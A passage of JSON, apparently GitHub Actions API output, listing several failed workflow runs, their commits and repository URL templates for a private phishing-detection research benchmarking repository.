/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":267782919,"node_id":"MDExOldvcmtmbG93UnVuMjY3NzgyOTE5","head_branch":"dataset_move","head_sha":"9c6f76b9861cabfb1f3e09d9177de9103568f397","run_number":944,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1230784987,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjMwNzg0OTg3","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267782919","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/267782919","pull_requests":[],"created_at":"2020-09-22T23:16:18Z","updated_at":"2020-09-22T23:24:01Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267782919/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267782919/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1230784987","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267782919/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267782919/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267782919/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"9c6f76b9861cabfb1f3e09d9177de9103568f397","tree_id":"fbfefeb2208485b59c78d0ba8f51e0bbdd3e0dff","message":"Moved dataset.settings to input.settings","timestamp":"2020-09-22T23:16:10Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":267532570,"node_id":"MDExOldvcmtmbG93UnVuMjY3NTMyNTcw","head_branch":"feature_fit","head_sha":"8751924b494dd4ea0abf4579d2b104aea123e5cf","run_number":934,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1229988384,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjI5OTg4Mzg0","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267532570","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/267532570","pull_requests":[],"created_at":"2020-09-22T19:49:59Z","updated_at":"2020-09-22T20:04:57Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267532570/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267532570/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1229988384","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267532570/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267532570/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/267532570/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"8751924b494dd4ea0abf4579d2b104aea123e5cf","tree_id":"a80d95b8f4ba04a2acfedf14a3af7c2d31760e63","message":"Updated email feature extraction for new method","timestamp":"2020-09-22T19:49:48Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":256899858,"node_id":"MDExOldvcmtmbG93UnVuMjU2ODk5ODU4","head_branch":"docstring_fix","head_sha":"31154cef1d82aa13bfe61caa76cffee753901a17","run_number":210,"event":"pull_request","status":"completed","conclusion":"failure","workflow_id":1732356,"check_suite_id":1198854303,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMTk4ODU0MzAz","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/256899858","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/256899858","pull_requests":[],"created_at":"2020-09-16T04:57:20Z","updated_at":"2020-09-16T04:59:57Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/256899858/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/256899858/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1198854303","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/256899858/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/256899858/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/256899858/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"31154cef1d82aa13bfe61caa76cffee753901a17","tree_id":"c98a0b11f215fed937967f4d7d51f6ee0d135eff","message":"Updated changelog","timestamp":"2020-09-16T04:57:11Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/Re